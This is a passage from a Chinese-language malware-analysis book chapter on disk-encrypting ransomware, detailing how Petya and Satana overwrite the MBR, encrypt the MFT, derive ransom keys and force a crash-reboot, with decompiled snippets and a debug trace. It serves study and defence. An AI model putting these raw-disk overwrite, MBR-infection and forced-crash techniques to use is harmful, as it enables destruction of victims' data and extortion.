一旦文件加密密钥生成,它会被传送到 C&C 服务器 ➋ 进行存储。为了避免被网络流量监控软件拦截,恶意软件会使用嵌入在恶意软件中的公钥 ➌ 对文件加密密钥进行加密,通常使用 RSA 加密算法或 ECC 加密,如 CTB-Locker 和 Petya 所采用的方式。这把私钥不在恶意软件主体中,仅攻击者知晓,确保没有其他人能够访问文件加密密钥。

一旦 C&C 服务器确认收到文件加密密钥,恶意软件便开始加密硬盘上的用户文件 ➍。为了减少需要加密的文件量,勒索软件使用嵌入的文件扩展名列表来过滤掉无关的文件(如可执行文件、系统文件等),并只加密那些对受害者最有价值的特定用户文件,如文档、图像和照片。

在加密后,恶意软件会摧毁受害者系统上的文件加密密钥 ➎,使得用户在不支付赎金的情况下几乎不可能恢复文件内容。此时,文件加密密钥通常只存在于攻击者的 C&C 服务器中,尽管在某些情况下,它的加密版本会存储在受害者的系统上。即便如此,如果不知道私有加密密钥,用户仍然几乎无法恢复文件加密密钥并恢复对文件的访问。

接下来,恶意软件会向用户显示一条赎金信息 ➏,并附带支付赎金的说明。在某些情况下,赎金信息嵌入在恶意软件的主体中,而在其他情况下,它会从 C&C 服务器获取赎金页面。

TORRENTLOCKER:致命缺陷

不是所有早期的勒索病毒都是如此难以破解的,因为加密过程的实现存在缺陷。例如,早期版本的 TorrentLocker 使用了高级加密标准(AES)加密算法的计数模式来加密文件。在计数模式下,AES 加密算法生成一系列密钥字符,然后与文件内容进行异或(XOR)操作以加密文件。这个方法的弱点在于,它对于相同的密钥和初始化值生成相同的密钥序列,无论文件内容如何。为了恢复密钥序列,受害者可以将加密文件与对应的原始文件进行异或操作,然后使用这个序列来解密其他文件。发现这一点后,TorrentLocker 被更新为使用 AES 加密算法的密码分组链接(CBC)模式,从而消除了这个弱点。在 CBC 模式下,在加密之前,明文块会与上一次加密迭代中的密文块进行异或操作,这样即使输入数据存在微小差异,最终的加密结果也会有显著不同。这使得通过恢复数据的方式来破解 TorrentLocker 变得无效。

分析 Petya 勒索病毒

在本节中,我们将重点分析 Petya 硬盘加密功能的技术细节。Petya 以恶意投放程序的形式进入受害者计算机,执行后会解压包含主要勒索病毒功能的有效载荷,这些功能实现为一个 DLL 文件。

获取管理员权限

虽然大多数勒索病毒不需要管理员权限,但 Petya 确实需要管理员权限,以便能够直接向受害者系统的硬盘写入数据。如果没有此权限,Petya 将无法修改 MBR 的内容并安装恶意引导加载程序。投放程序可执行文件包含一个清单,指定该可执行文件只能在管理员权限下启动。清单 13-1 展示了来自投放程序清单的摘录。

<trustInfo >

 <security>

  <requestedPrivileges>

 ➊ <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>

  </requestedPrivileges>

 </security>

</trustInfo>

清单 13-1:Petya 投放程序清单摘录

安全部分包含了参数requestedExecutionLevel,其值设置为requireAdministrator ➊。当用户尝试执行投放程序时,操作系统加载器会检查用户当前的执行级别。如果低于Administrator,操作系统会弹出对话框,询问用户是否希望以提升的权限运行该程序(如果用户的账户具有管理员权限),或者提示输入管理员凭据(如果用户账户没有管理员权限)。如果用户决定不授予该程序管理员权限,则投放程序不会启动,系统也不会受到损害。如果用户被引诱以管理员权限执行投放程序,恶意软件则会继续感染系统。

Petya 通过两步感染系统。在第一步中,它收集目标系统的信息,确定硬盘上使用的分区类型,生成其配置文件(加密密钥和勒索信息),构建第二步的恶意引导加载程序,然后用恶意引导加载程序感染计算机的 MBR,并发起系统重启。

重启后,恶意引导加载程序被执行,触发了感染过程的第二步。恶意的 MBR 引导加载程序加密了包含 MFT 的硬盘扇区,然后再次重启计算机。在第二次重启后,恶意引导加载程序显示了第一步生成的勒索消息。

我们将在接下来的章节中更详细地介绍这些步骤。

感染硬盘(第一步)

Petya 通过获取表示物理硬盘的文件名来启动 MBR 的感染过程。在 Windows 操作系统中,可以通过执行 CreateFile API,并传递字符串 '\\.\PhysicalDriveX' 作为文件名参数来直接访问硬盘,其中 X 对应硬盘在系统中的索引。如果系统中只有一个硬盘,则物理硬盘的文件名为 '\\.\PhysicalDrive0'。然而,如果有多个硬盘,恶意软件则使用系统启动的硬盘的索引。

Petya 通过向包含当前 Windows 实例的 NTFS 卷发送特殊请求 IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS 来实现这一过程,恶意软件通过执行 DeviceIoControl API 获取此请求。此请求返回一个结构体数组,描述了用于托管 NTFS 卷的所有硬盘。更具体地说,这个请求返回一个 NTFS 卷范围的数组。卷范围是指在一个硬盘上连续的扇区范围。例如,单一 NTFS 卷可能托管在两个硬盘上,在这种情况下,此请求将返回包含两个范围的数组。返回的结构体布局如 Listing 13-2 所示。

typedef struct _DISK_EXTENT {

➊ DWORD         DiskNumber;

➋ LARGE_INTEGER StartingOffset;

➌ LARGE_INTEGER ExtentLength;

} DISK_EXTENT, *PDISK_EXTENT;

Listing 13-2: DISK_EXTENT 布局

StartingOffset 字段 ➋ 描述了硬盘上卷范围的位置,表示从硬盘开始位置的扇区偏移量,而 ExtentLength ➌ 提供了它的长度。DiskNumber 参数 ➊ 包含了系统中对应硬盘的索引,这个索引也与硬盘文件名中的索引相对应。恶意软件使用返回的卷范围数组中第一个结构体的 DiskNumber 字段来构建文件名并访问硬盘。

在构建了物理硬盘的文件名后,恶意软件通过向硬盘发送请求 IOCTL_DISK_GET_PARTITION_INFO_EX 来确定硬盘的分区方案。

Petya 能够感染基于 MBR 的分区或 GUID 分区表(GPT)分区的硬盘(GPT 分区的布局在第十四章中描述)。我们首先将查看 Petya 如何感染基于 MBR 的硬盘,然后描述基于 GPT 的磁盘感染细节。

感染 MBR 硬盘

为了感染 MBR 分区方案,Petya 首先读取 MBR,以计算硬盘开始部分与第一个分区开始部分之间的空闲磁盘空间。该空间用于存储恶意引导程序及其配置信息。Petya 获取第一个分区的起始扇区号;如果该分区起始的扇区索引小于 60(0x3C),则表示硬盘上没有足够的空间,Petya 会停止感染过程并退出。

如果索引为 60 或以上,则表示有足够的空间,恶意软件会继续构建恶意引导程序,该引导程序由两个组件组成:恶意 MBR 代码和二阶段引导程序。图 13-2 显示了感染后硬盘前 57 个扇区的布局。

image

图 13-2:Petya 感染 MBR 硬盘的扇区布局

为了构建恶意 MBR,Petya 将原始 MBR 的分区表与恶意 MBR 代码结合,将结果写入硬盘的第一个扇区 ➊,替换掉原始 MBR。原始 MBR 会与固定字节值 0x37 进行异或运算,结果写入第 56 扇区 ➏。

二阶段的恶意引导程序占据了 17 个连续扇区(0x2E00 字节)的磁盘空间,并写入硬盘的 34 至 50 扇区 ➌。恶意软件还通过将扇区 1 至 33 ➋的内容与固定字节值 0x37 进行异或运算来混淆这些扇区。

恶意引导程序的配置信息存储在第 54 扇区 ➍,并由引导程序在感染过程的第二步中使用。我们将在“使用恶意引导程序配置数据加密”中详细讨论配置数据结构,详见第 215 页。

Petya 还使用第 55 扇区 ➎存储一个 512 字节的缓冲区,填充了 0x37 字节值,该缓冲区将用于验证受害者提供的密码并解锁硬盘,具体内容将在“显示勒索信息”中讨论,详见第 224 页。

至此,MBR 的感染已经完成。虽然在图 13-2 中,第 57 扇区 ➐标记为“加密簇计数器”,但在当前感染阶段并未使用它。恶意引导程序代码将在步骤 2 中使用它来存储 MFT 的加密簇数量。

感染 GPT 硬盘

GPT 硬盘感染过程类似于 MBR 硬盘感染,但有几个额外的步骤。第一个额外步骤是加密 GPT 头的备份副本,以使系统恢复变得更加困难。GPT 头包含有关 GPT 硬盘布局的信息,这个备份副本使得系统在 GPT 头损坏或无效时能够恢复 GPT 头。

为了找到备份 GPT 头,Petya 读取硬盘中包含 GPT 头的扇区的偏移量 1 处的扇区,然后进入包含备份副本偏移量的字段。

一旦获取位置,Petya 通过将其与固定常数 0x37 进行异或处理,混淆备份 GPT 头以及它之前的 32 个扇区,如图 13-3 ➊所示。这些扇区包含备份 GPT。

image

图 13-3:GPT 磁盘上 Petya 感染后的硬盘扇区布局

由于 GPT 分区方案与 MBR 分区方案的硬盘布局不同,Petya 不能像在 MBR 硬盘的情况中那样简单地重复使用 GPT 分区表来构建恶意 MBR。相反,它手动构建了一个表示整个硬盘的 MBR 感染分区表条目。

除了这些点外,GPT 硬盘的感染与 MBR 磁盘的感染完全相同。然而,值得注意的是,这种方法在启用了 UEFI 启动的系统上不起作用。正如你在第十四章中将学到的,在 UEFI 启动过程中,UEFI 代码(而非 MBR 代码)负责启动系统。如果 Petya 在 UEFI 系统上执行,它会使系统无法启动,因为 UEFI 加载程序无法读取加密的 GPT 或其备份副本,以确定操作系统加载程序的位置。

Petya 感染在使用传统 BIOS 启动代码和 GPT 分区方案的混合系统上起作用——例如,当启用 BIOS 兼容性支持模式时——因为在这样的系统中,MBR 扇区仍然用于存储第一阶段系统引导加载程序代码,但会修改以识别 GPT 分区。

使用恶意引导加载程序配置数据进行加密

我们提到,在感染过程的第 1 步中,Petya 将引导加载程序配置数据写入硬盘的第 54 扇区。引导加载程序使用这些数据完成硬盘扇区的加密。我们来看一下这些数据是如何生成的。

配置数据结构如清单 13-3 所示。

typedef struct _PETYA_CONFIGURATION_DATA {

➊ BYTE EncryptionStatus;

➋ BYTE SalsaKey[32];

➌ BYTE SalsaNonce[8];

  CHAR RansomURLs[128];

  BYTE RansomCode[343];

} PETYA_CONFIGURATION_DATA, * PPETYA_CONFIGURATION_DATA;

清单 13-3:Petya 配置数据布局

该结构以一个标志 ➊ 开始,指示硬盘的 MFT 是否已加密。在感染过程的第 1 步中,恶意软件会清除这个标志,因为此时并不会进行 MFT 加密。这个标志在第 2 步中由恶意引导加载程序设置,一旦它开始执行 MFT 加密。接下来的部分是用于加密 MFT 的加密密钥 ➋ 和初始化值(IV) ➌,我们将进一步讲解这些内容。

生成加密密钥

为了实现加密功能,Petya 使用了公共库 mbedtls(“嵌入式 TLS”),该库专为嵌入式解决方案设计。这个小巧的库实现了多种现代加密算法,包括对称和非对称数据加密、哈希函数等。它的小内存占用非常适合在恶意引导加载程序阶段使用 MFT 加密时的有限资源。

Petya 最有趣的特点之一是它使用了罕见的 Salsa20 加密算法来加密 MFT。这个算法生成一个密钥字符流,通过与明文进行异或操作来得到密文,它的输入是一个 256 位的密钥和一个 64 位的初始化值。对于公钥加密算法,Petya 使用了 ECC。Figure 13-4 展示了生成加密密钥过程的高级视图。

为了生成 Salsa20 加密密钥,恶意软件首先生成一个密码——一个包含字母数字字符的 16 字节随机字符串 ➊。然后,Petya 使用 Listing 13-4 中介绍的算法,将这个字符串扩展成一个 32 字节的 Salsa20 密钥 ➋,该密钥用于加密硬盘上 MFT 扇区的内容。恶意软件还通过伪随机数生成器为 Salsa20 生成一个 64 位的 nonce(初始化值)。

do

{

  config_data->salsa20_key[2 * i] = password[i] + 0x7A;

  config_data->salsa20_key[2 * i + 1] = 2 * password[i];

  ++i;

} while ( i < 0x10 );

Listing 13-4: 将密码扩展为 Salsa20 加密密钥

接下来,Petya 生成一个用于赎金信息的密钥,这个密钥作为字符串显示在赎金页面上。受害者必须将这个赎金密钥提供给 C&C 服务器,才能获得解密 MFT 的密码。

生成赎金密钥

只有攻击者能够从赎金密钥中提取密码,因此为了保护它,Petya 使用了内嵌在恶意软件中的 ECC 公钥加密方案。我们将这个公钥称为 C&C 公钥 ecc_cc_public_key

image

Figure 13-4: 生成加密密钥

首先,Petya 在受害者的系统上生成一个临时的 ECC 密钥对 ➌,即 临时密钥,用来与 C&C 服务器建立安全通信:ecc_ephemeral_pubecc_ephemeral_priv

接下来,它使用 ECC Diffie-Hellman 密钥交换算法 ➍生成共享密钥(即共享秘密)。该算法允许双方共享一个只有他们知道的秘密,任何窃听的对手都无法推测出来。在受害者的计算机上,共享秘密的计算方式是shared_secret = ECDHE(ecc_ephemeral_priv, ecc_cc_public_key),其中ECDHE是 Diffie-Hellman 密钥交换过程。它需要两个参数:受害者的私有临时密钥和嵌入恶意软件中的公共 C&C 密钥。攻击者使用shared_secret = ECDHE(ecc_ephemeral_pub, ecc_cc_private_key)计算出相同的秘密,其中它使用自己的私有 C&C 密钥和受害者的公共临时密钥。

一旦生成了shared_secret,恶意软件使用 SHA512 哈希算法计算其哈希值,并使用哈希的前 32 个字节作为 AES 密钥 ➎:aes_key = SHA512(shared_secret)[0:32]

然后,它使用刚刚导出的aes_key加密密码 ➏,如下所示:encrypted_password = AES(aes_key XOR password)。正如你所看到的,在加密密码之前,恶意软件会将密码与 AES 密钥进行异或操作。

最后,Petya 使用 base58 编码算法对临时公钥和加密密码进行编码,以获得一个 ASCII 字符串,作为赎金密钥 ➐:ransom_key = base58_encode(ecc_ephemeral_pub, encrypted_password)

验证赎金密钥

如果用户支付赎金,攻击者会提供解密数据的密码,因此我们来看看攻击者如何验证赎金密钥以恢复受害者的密码。

一旦受害者将赎金密钥发送给攻击者,Petya 使用base58解码算法对其进行解码,并获得受害者的公共临时密钥和加密密码:ecc_ephemeral_pub, encrypted_password = base58_decode(ransom_key) ➑。

攻击者接着使用前述的ECDHE密钥交换协议计算共享秘密:shared_secret = ECDHE(ecc_ephemeral_pub, ecc_cc_private_key) ➒。

使用共享秘密,攻击者可以通过计算共享秘密的 SHA512 哈希值来推导 AES 加密密钥,方法与之前相同:aes_key = SHA512(shared_secret)[0:32] ➓。

一旦计算出 AES 密钥,攻击者就可以解密密码,并得到受害者的密码:password=AES_DECRYPT(encrypted_password) XOR aes_key

攻击者现在已经通过赎金密钥获得了受害者的密码,其他人如果没有攻击者的私钥是无法做到这一点的。

生成赎金 URL

作为第二阶段引导加载程序的最终配置数据,Petya 生成勒索 URL,这些 URL 会显示在勒索信息中,告诉受害者如何支付赎金并恢复系统的数据。恶意软件随机生成一个字母数字组合的受害者 ID,然后将其与恶意域名结合,生成形如 http://<malicious_domain>/<victim_id> 的 URL。图 13-5 展示了一些示例 URL。

image

图 13-5:Petya 配置数据与勒索 URL

你可以看到顶级域名是 .onion,这意味着恶意软件使用 TOR 来生成这些 URL。

使系统崩溃

一旦恶意引导加载程序及其配置数据被写入硬盘,Petya 会使系统崩溃并强制重启,以便它可以执行恶意引导加载程序并完成系统的感染。清单 13-5 展示了如何完成这一步。

void __cdecl RebootSystem()

{

  hProcess = GetCurrentProcess();

  if ( OpenProcessToken(hProcess, 0x28u, &TokenHandle) )

  {

    LookupPrivilegeValueA(0, "SeShutdownPrivilege", NewState.Privileges);

    NewState.PrivilegeCount = 1;

    NewState.Privileges[0].Attributes = 2;

 ➊ AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, 0);

    if ( !GetLastError() )

    {

      v1 = GetModuleHandleA("NTDLL.DLL");

      NtRaiseHardError = GetProcAddress(v1, "NtRaiseHardError");

   ➋ (NtRaiseHardError)(0xC0000350, 0, 0, 0, 6, &v4);

    }

  }

}

清单 13-5:Petya 强制系统重启的例程

Petya 执行系统 API 例程 NtRaiseHardError ➋ 来使系统崩溃,这会通知系统发生严重错误,阻止正常操作,并要求重启以避免数据丢失或损坏。

要执行此例程,调用进程需要特权 SeShutdownPrivilege,由于 Petya 是以管理员帐户权限启动的,因此这一特权很容易获得。如清单 13-5 所示,在执行 NtRaiseHardError 之前,Petya 通过调用 AdjustTokenPrivileges ➊ 调整当前的特权。

加密 MFT(步骤 2)

现在让我们关注感染过程的第二步。引导加载程序由两个组件组成:恶意 MBR 和第二阶段引导加载程序(在本节中我们将其称为恶意引导加载程序)。恶意 MBR 代码的唯一目的是将第二阶段引导加载程序加载到内存中并执行它,因此我们将跳过对恶意 MBR 的分析。第二阶段引导加载程序实现了勒索软件最有趣的功能。

查找可用磁盘

一旦引导加载程序接管控制权,它必须收集系统中可用磁盘的信息。为此,它依赖于广为人知的 INT 13h 服务,如清单 13-6 所示。

➊ mov     dl, [bp+disk_no]

➋ mov     ah, 8

  int     13h

清单 13-6:使用 INT 13h 检查系统中磁盘的可用性

为了检查硬盘的可用性和大小,恶意软件将索引号存储在 dl 寄存器中 ➊,然后执行 INT 13h。磁盘按顺序分配索引号,因此 Petya 会通过检查从 0 到 15 的磁盘索引来查找系统中的硬盘。接着,它将值 8 移入 ah 寄存器 ➋,这表示 INT 13h 的“获取当前驱动器参数”功能。然后,恶意软件执行 INT 13h。执行后,如果 ah 设置为 0,则说明指定的磁盘存在于系统中,并且 dxcx 寄存器包含磁盘大小信息。如果 ah 寄存器不等于 0,则表示给定索引的磁盘在系统中不存在。

然后,恶意引导程序从第 54 扇区读取配置数据,并检查通过查看读取缓冲区中的第一个字节来判断硬盘的 MFT 是否已加密,该字节对应于配置数据中的 EncryptionStatus 字段。如果标志清除——意味着 MFT 内容未加密——恶意软件将继续加密系统中可用硬盘的 MFT,完成感染过程。如果 MFT 已加密,恶意引导程序将向受害者显示赎金消息。我们稍后将讨论赎金消息,但首先,我们将重点介绍恶意引导程序如何执行加密操作。

加密 MFT

如果配置数据的 EncryptionStatus 标志清除(即设置为 0),恶意软件会从 SalsaKeySalsaNonce 参数中分别读取 Salsa20 加密密钥和 IV,并用它们加密硬盘数据。然后,引导程序设置 EncryptionStatus 标志,并销毁配置数据第五十四部分中的 SalsaKey,以防止数据被解密。

接下来,引导程序读取感染硬盘的第 55 扇区,该扇区稍后将用于验证受害者输入的密码。此时,该扇区占用 0x37 字节。Petya 使用从配置数据中读取的密钥和 IV,通过 Salsa20 算法加密此扇区,然后将结果写回第 55 扇区。

现在,恶意引导程序已经准备好加密系统中硬盘的 MFT。加密过程大大延长了引导过程的时间,因此,为了避免引起怀疑,Petya 显示了一个假的 chkdsk 消息,如图 13-6 所示。系统工具 chkdsk 用于修复硬盘上的文件系统,系统崩溃后看到 chkdsk 消息并不罕见。屏幕上显示虚假的消息时,恶意软件会对系统中每个硬盘执行以下算法。

image

图 13-6:一个虚假的 chkdsk 消息

首先,恶意软件读取硬盘的 MBR,并遍历 MBR 分区表,寻找可用的分区。它检查描述分区使用的文件系统类型的参数,并跳过所有类型值不是 0x07(表示分区包含 NTFS 卷)、0xEE 和 0xEF(表示硬盘采用 GPT 布局)的分区。如果硬盘确实具有 GPT 布局,恶意引导代码将从 GPT 分区表获取分区的位置。

解析 GPT 分区表

对于 GPT 分区表,恶意软件会采取额外的一步来查找硬盘上的分区:它从硬盘的第三个扇区开始读取 GPT 分区表。每个 GPT 分区表项的长度为 128 字节,其结构如列表 13-7 所示。

typedef struct _GPT_PARTITION_TABLE_ENTRY {

  BYTE PartitionTypeGuid[16];

  BYTE PartitionUniqueGuid[16];

  QWORD PartitionStartLba;

  QWORD PartitionLastLba;

  QWORD PartitionAttributes;

  BYTE PartitionName[72];

} GPT_PARTITION_TABLE_ENTRY, *PGPT_PARTITION_TABLE_ENTRY;

列表 13-7:GPT 分区表项的布局

第一个字段,PartitionTypeGuid,是一个包含 16 个字节的数组,包含分区类型的标识符,该标识符决定了分区用于存储哪种类型的数据。恶意引导代码检查该字段,以筛选出所有分区项,除非PartitionTypeGuid字段等于{EBD0A0A2-B9E5-4433-87C0-68B6B72699C7};该类型被称为 Windows 操作系统的基本数据分区,用于存储 NTFS 卷。这正是恶意软件所关注的内容。

如果恶意引导代码识别到一个基本数据分区,它会读取PartitionStartLbaPartitionLastLba字段,这些字段分别包含分区的第一个和最后一个扇区的地址,以确定目标分区在硬盘上的位置。一旦 Petya 引导代码获取到分区的坐标,它就会进入下一步。

定位 MFT

为了定位 MFT,恶意软件从硬盘读取所选分区的 VBR(VBR 的布局在第五章中有详细描述)。文件系统的参数在 BIOS 参数块(BPB)中进行描述,其结构如列表 13-8 所示。

typedef struct _BIOS_PARAMETER_BLOCK_NTFS {

  WORD SectorSize;

➊ BYTE SectorsPerCluster;

  WORD ReservedSectors;

  BYTE Reserved[5];

  BYTE MediaId;

  BYTE Reserved2[2];

  WORD SectorsPerTrack;

  WORD NumberOfHeads;

  DWORD HiddenSectors;

  BYTE Reserved3[8];

  QWORD NumberOfSectors;

➋ QWORD MFTStartingCluster;

  QWORD MFTMirrorStartingCluster;

  BYTE ClusterPerFileRecord;

  BYTE Reserved4[3];

  BYTE ClusterPerIndexBuffer;

  BYTE Reserved5[3];

  QWORD NTFSSerial;

  BYTE Reserved6[4];

} BIOS_PARAMETER_BLOCK_NTFS, *PBIOS_PARAMETER_BLOCK_NTFS;

列表 13-8:VBR 中 BIOS 参数块的布局

恶意引导代码检查MFTStartingCluster ➋,该字段指定了 MFT 的位置,表示为从分区开始的偏移量,单位为簇。是文件系统中最小的可寻址存储单元。簇的大小在不同的系统之间可能会有所不同,并且在SectorsPerCluster字段 ➊ 中进行指定,恶意软件也会检查该字段。例如,NTFS 的最典型值为 8,因此在扇区大小为 512 字节的情况下,簇的大小为 4,096 字节。通过这两个字段,Petya 计算出 MFT 相对于分区起始位置的偏移量。

解析 MFT

MFT(主文件表)被排列成一个条目数组,每个条目描述一个特定的文件或目录。我们不会详细介绍 MFT 的格式,因为它足够复杂,至少需要一个章节来解释。相反,我们只提供理解 Petya 恶意引导程序所需的必要信息。

到这时,恶意软件已经通过MFTStartingCluster获得了 MFT 的起始地址,但要获取准确的位置信息,Petya 还需要知道 MFT 的大小。此外,MFT 可能并非以连续的扇区形式存储在硬盘上,而是分散存储为多个小的扇区块,分布在硬盘的不同位置。为了获得 MFT 的精确位置,恶意代码读取并解析了特殊的元数据文件 $MFT,该文件位于 NTFS 元数据文件中,对应于 MFT 的前 16 条记录。

这些文件包含了确保文件系统正确操作的关键信息:

$MFT 自引用 MFT,包含 MFT 在硬盘上的大小和位置的信息。

$MFTMirr MFT 的镜像,包含前 16 条记录的副本。

$LogFile 包含卷的事务数据的日志文件。

$BadClus 一个列出所有被标记为“坏”的损坏簇的列表。

如你所见,第一个元数据文件 $MFT 包含了确定 MFT 在硬盘上确切位置所需的所有信息。恶意代码解析这个文件以获取连续扇区的位置信息,然后使用 Salsa20 加密算法对它们进行加密。

一旦系统中硬盘上的所有 MFT 被加密,感染过程就完成了,恶意软件执行 INT 19h 来重新启动引导过程。这个中断处理程序使 BIOS 引导代码加载可启动硬盘的 MBR 到内存并执行其代码。这时,当恶意引导代码从第 54 扇区读取配置信息时,EncryptionStatus标志被设置为1,表示 MFT 加密已完成,恶意软件接着显示勒索信息。

显示勒索信息

引导代码显示的勒索信息如图 13-7 所示。

image

图 13-7:Petya 勒索信息

该信息通知受害者,他们的系统已被 Petya 勒索病毒感染,硬盘已被军用级加密算法加密。然后提供解锁数据的说明。你可以看到 Petya 在感染过程的第一步中生成的 URL 列表。这些 URL 页面包含进一步的指示信息。恶意软件还显示了用户需要输入的勒索代码,以获取解密密码。

该恶意软件通过在勒索页面上输入的密码生成 Salsa20 密钥,并尝试解密用于密钥验证的 55 号扇区。如果密码正确,解密 55 号扇区将得到一个占用 0x37 字节的缓冲区。在这种情况下,勒索病毒接受密码,解密 MFT,并恢复原始 MBR。如果密码错误,恶意软件会显示信息“Incorrect key! Please try again.

总结:关于 Petya 的最终思考

这就是我们对 Petya 感染过程的讨论,但我们还有一些关于其方法有趣方面的最终说明。

首先,与其他加密用户文件的勒索病毒不同,Petya 以低级模式操作硬盘,读取和写入原始数据,因此需要管理员权限。然而,它并没有利用任何本地权限提升(LPE)漏洞,而是依赖于之前本章讨论过的恶意软件中嵌入的清单信息。因此,如果用户选择不授予该应用程序管理员权限,恶意软件将由于清单要求而无法启动。即使没有管理员权限执行,Petya 也无法打开硬盘设备的句柄,因此无法造成任何危害。在这种情况下,Petya 用来获取硬盘句柄的CreateFile例程将返回INVALID_HANDLE值,从而导致错误。

为了绕过这个限制,Petya 通常与另一种勒索病毒一起传播:Mischa。Mischa 是一种普通的勒索病毒,它加密用户文件而不是硬盘,并且不需要管理员权限。如果 Petya 未能获取管理员权限,恶意下载器将执行 Mischa。有关 Mischa 的讨论超出了本章的范围。

其次,正如前面所讨论的,Petya 并不是加密硬盘上文件的内容,而是加密存储在 MFT 中的元数据,从而使得文件系统无法获取文件的位置和属性信息。因此,即使文件内容没有被加密,受害者仍然无法访问他们的文件。这意味着文件内容有可能通过数据恢复工具和方法恢复。此类工具常用于法医分析中,恢复损坏镜像中的信息。

最后,正如你可能已经领悟到的,Petya 是一款非常复杂的恶意软件,由熟练的开发人员编写。它实现的功能表明其对文件系统和引导加载程序有着深刻的理解。这款恶意软件标志着勒索病毒进化的又一步。

分析 Satana 勒索病毒

现在,让我们来看一个针对启动过程的勒索病毒示例:Satana。与 Petya 只感染硬盘的 MBR 不同,Satana 还加密了受害者的文件。

此外,MBR 并不是 Satana 的主要感染媒介。我们将展示,作为原始 MBR 替代的恶意引导程序代码存在缺陷,且很可能是在 Satana 分发时还在开发中的。

在本节中,我们将只关注 MBR 感染功能,因为用户模式文件加密功能超出了本章的范围。

Satana 投放程序

让我们从 Satana 投放程序开始。解压到内存后,恶意软件将自身复制到TEMP目录下一个随机名称的文件中并执行该文件。Satana 需要管理员权限才能感染 MBR,并且像 Petya 一样,不利用任何 LPE 漏洞来提升权限。相反,它通过setupapi!IsUserAdmin API 例程检查进程的权限级别,该例程进一步检查当前进程的安全令牌是否属于管理员组。如果投放程序没有足够的权限来感染系统,它会执行TEMP文件夹中的副本,并尝试通过使用带有runas参数的ShellExecute API 例程,在管理员帐户下执行恶意软件,这会弹出一个提示消息,要求受害者授予应用程序管理员权限。如果用户选择“否”,恶意软件会重复调用ShellExecute,直到用户选择“是”或终止恶意进程。

MBR 感染

一旦 Satana 获得管理员权限,它就开始感染硬盘。在整个感染过程中,恶意软件从投放程序的镜像中提取多个组件,并将它们写入硬盘。图 13-8 显示了被 Satana 感染的硬盘前几个扇区的布局。在本节中,我们将详细描述 MBR 感染的每个元素。为了简化说明,我们假设扇区索引从 0 开始。

image

图 13-8:带有 Satana 感染的硬盘布局

为了以低级模式访问硬盘,恶意软件使用与 Petya 相同的 API:CreateFileDeviceIoControlWriteFileSetFilePointer。为了打开一个代表硬盘的文件句柄,Satana 使用CreateFile例程,并将字符串'\\.\PhysicalDrive0'作为FileName参数传递。然后,投放程序执行DeviceIoControl例程,使用IOCTL_DISK_GET_DRIVE_GEOMETRY参数来获取硬盘参数,如总扇区数和扇区大小(以字节为单位)。

注意

使用'\.\PhysicalDrive0'来获取硬盘句柄的方法并不是百分百可靠,因为它假设可引导硬盘总是在索引 0 的位置。虽然大多数系统是这种情况,但并不保证。在这方面,Petya 更加小心,因为它在感染时动态确定当前硬盘的索引,而 Satana 则使用硬编码的值。

在继续感染 MBR 之前,Satana 确保硬盘上 MBR 和第一个分区之间有足够的空闲空间来存储恶意引导加载程序组件,方法是枚举分区并定位第一个分区及其起始扇区。如果 MBR 和第一个分区之间的扇区少于 15 个,Satana 会停止感染过程,转而继续加密用户文件。否则,它将尝试感染 MBR。

首先,Satana 应该在从第 7 个扇区 ➎ 开始的扇区中写入包含用户字体信息的缓冲区。该缓冲区最多可以占用硬盘的八个扇区。写入这些扇区的信息旨在被恶意引导加载程序用来显示赎金信息,且该信息可以是除默认的英语以外的其他语言。然而,在我们分析的 Satana 样本中并未看到该功能。恶意软件并未在第 7 个扇区写入任何内容,因此它使用默认的英语显示赎金信息。

Satana 在启动时将赎金信息写入第 2 到第 5 个扇区 ➌,以明文形式显示,不进行加密。

然后,恶意软件从第一个扇区读取原始 MBR,并通过与一个 512 字节的密钥进行异或加密,这个密钥是在感染阶段使用伪随机数生成器生成的。Satana 用随机数据填充 512 字节的缓冲区,并将 MBR 的每个字节与密钥缓冲区中相应的字节进行异或。一旦 MBR 被加密,恶意软件将加密密钥存储在第 6 个扇区 ➍,并将加密后的原始 MBR 存储在硬盘的第 1 个扇区 ➋。

最后,恶意软件将恶意 MBR 写入硬盘的第一个扇区 ➊。覆盖 MBR 之前,Satana 会通过与随机生成的字节值进行异或加密来加密感染后的 MBR,并将密钥写入感染 MBR 的末尾,以便恶意 MBR 代码在系统启动时可以使用该密钥解密自己。

这个步骤完成了 MBR 的感染过程,Satana 接下来将继续进行用户文件加密。为了触发恶意 MBR 的执行,Satana 在加密用户文件后不久重启计算机。

Dropper 调试信息

在继续分析恶意 MBR 代码之前,我们想提到 dropper 中一个特别有趣的方面。我们分析的 Satana 样本包含了大量详细的调试信息,记录了 dropper 中实现的代码,这与我们在第十一章中讨论的 Carberp 木马的发现类似。

dropper 中调试信息的存在进一步证明了在我们分析 Satana 时,它仍处于开发阶段。Satana 使用 OutputDebugString API 输出调试信息,你可以在调试器中看到这些信息,或者通过其他拦截调试输出的工具查看。清单 13-9 展示了使用 DebugMonitor 工具拦截到的恶意软件调试跟踪的片段。

00000042 ➊ 27.19946671  [2760] Engine: Try to open drive \\.\PHYSICALDRIVE0

00000043    27.19972229  [2760] Engine: \\.\PHYSICALDRIVE0 opened

00000044 ➋ 27.21799088  [2760] Total sectors:83875365

00000045    27.21813583  [2760] SectorSize: 512

00000046    27.21813583  [2760] ZeroSecNum:15

00000047    27.21813583  [2760] FirstZero:2

00000048    27.21813583  [2760] LastZero:15

00000049 ➌ 27.21823502  [2760] XOR key=0x91

00000050    27.21839333  [2760] Message len: 1719

00000051 ➍ 27.21941948  [2760] Message written to Disk

00000052    27.22294235  [2760] Try write MBR to Disk: 0

00000053 ➎ 27.22335243  [2760] Random sector written

00000054    27.22373199  [2760] DAY: 2

00000055 ➏ 27.22402954  [2760] MBR written to Disk# 0

清单 13-9:Satana dropper 的调试输出

你可以从输出中看到,恶意软件试图访问'\\.\PhysicalDrive0' ➊,以从硬盘读写扇区。在 ➋ 处,Satana 获取硬盘的参数:大小和总扇区数。在 ➍ 处,它将勒索信息写入硬盘,然后生成一个密钥来加密感染的 MBR ➌。它存储加密密钥 ➎,然后用感染的代码覆盖 MBR ➏。这些信息揭示了恶意软件的功能,而无需我们进行数小时的逆向工程工作。

Satana 恶意 MBR

Satana 的恶意引导程序相比于 Petya 来说相对较小且简单。恶意代码被包含在一个扇区内,并实现了显示勒索信息的功能。

